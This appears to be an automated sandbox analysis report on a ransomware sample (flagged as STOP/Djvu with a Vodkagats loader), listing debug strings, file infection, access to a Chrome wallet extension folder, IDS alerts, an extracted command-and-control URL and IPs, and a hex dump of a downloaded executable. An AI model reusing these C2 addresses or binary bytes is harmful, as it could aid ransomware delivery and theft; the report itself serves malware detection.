Source:	Binary string: k\Local Settings\Temp\Symbols\winload_prod.pdb\es\ source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866384273.0000000003011000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836648464.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859594296.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861518823.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826858814.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\9 source: kOVwcHSfrR.exe, 0000000C.00000003.1760199831.0000000009C91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\90\* source: kOVwcHSfrR.exe, 0000000C.00000003.1799096449.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1798341336.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800107482.00000000099ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1862853877.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861333525.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\' source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\user\Lo source: kOVwcHSfrR.exe, 0000000C.00000003.1771970280.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799944229.0000000009AEC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800598804.0000000009AEF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773826653.0000000009A70000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799658382.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\g source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1725868784.0000000009A06000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1725868784.0000000009A06000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\cdqw source: kOVwcHSfrR.exe, 0000000C.00000003.1771351167.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771698374.0000000009CC5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773281791.0000000009CCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\3RE source: kOVwcHSfrR.exe, 0000000C.00000003.1832122953.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1841503706.0000000009A43000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842880249.0000000009A5C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1832416314.0000000009A64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\at\ source: kOVwcHSfrR.exe, 0000000C.00000003.1665394521.0000000009966000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665128050.0000000009960000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ ) source: kOVwcHSfrR.exe, 0000000C.00000003.1864162198.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863376655.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861028335.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862919369.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837631251.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866167771.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800132832.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: a\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ge\ext\ source: kOVwcHSfrR.exe, 0000000C.00000002.1866974821.000000000996E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866384273.0000000003011000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836648464.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859594296.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861518823.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826858814.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1760199831.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771351167.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771698374.0000000009CC5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773281791.0000000009CCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\} source: kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009DD0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1833113829.0000000009D5D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837453979.0000000009DC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\^ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1832767909.0000000009E27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\&B source: kOVwcHSfrR.exe, 0000000C.00000003.1841718968.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843040876.0000000009D65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\nufilebe giximebemutido\zeroh\yuluz\tavoy_socalefino.pdb source: build2.exe, 00000012.00000000.1460598726.0000000000420000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000012.00000002.1682755279.0000000000420000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000015.00000000.1677228255.0000000000420000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\T source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\n\p source: kOVwcHSfrR.exe, 0000000C.00000003.1859515133.0000000009D25000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859347025.0000000009D14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1824869433.0000000003036000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009DBA000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1833113829.0000000009D5D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1825687066.0000000003042000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837453979.0000000009DC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\* source: kOVwcHSfrR.exe, 0000000C.00000003.1773201269.0000000003026000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1833584423.0000000003027000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1860918713.0000000003032000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1825397614.0000000003027000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723994941.0000000003022000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721747947.000000000301C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1770345097.0000000003018000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1507820485.0000000003029000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1845303269.000000000302B000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843340541.0000000003020000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664844689.0000000003018000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759400625.0000000003022000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1801557971.0000000003029000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1507795365.0000000003022000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723889248.000000000301D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800382616.0000000003026000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799278166.0000000003020000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759353204.000000000301C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866496448.0000000003032000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\N source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1771970280.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773826653.0000000009A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\Fmx source: kOVwcHSfrR.exe, 0000000C.00000003.1832122953.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1841503706.0000000009A43000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842880249.0000000009A5C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1832416314.0000000009A64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\R source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\y\ source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.0000000000905000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	7_2_00410160
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	7_2_0040F730
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	7_2_0040FB98

Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.10:49707 -> 187.211.34.211:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.10:49707 -> 187.211.34.211:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.10:49708 -> 186.182.55.44:80
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 186.182.55.44:80 -> 192.168.2.10:49709
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 186.182.55.44:80 -> 192.168.2.10:49708
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.10:49715 -> 186.182.55.44:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.10:49715 -> 186.182.55.44:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://zexeq.com/test1/get.php

Source: global traffic

TCP traffic: 192.168.2.10:49719 -> 168.119.106.20:2024

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 09 Jan 2024 14:46:10 GMTContent-Type: application/octet-streamContent-Length: 252928Last-Modified: Thu, 04 Jan 2024 11:20:03 GMTConnection: closeETag: "65969463-3dc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 1f a9 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ec 01 00 00 1c 44 00 00 00 00 00 51 1c 00 00 00 10 00 00 00 00 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 45 00 00 04 00 00 5e dc 03 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f4 22 02 00 50 00 00 00 00 40 44 00 d8 ad 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 01 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 1c 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3d ea 01 00 00 10 00 00 00 ec 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 cc 2b 00 00 00 00 02 00 00 2c 00 00 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 00 42 00 00 30 02 00 00 12 00 00 00 1c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 ad 01 00 00 40 44 00 00 ae 01 00 00 2e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
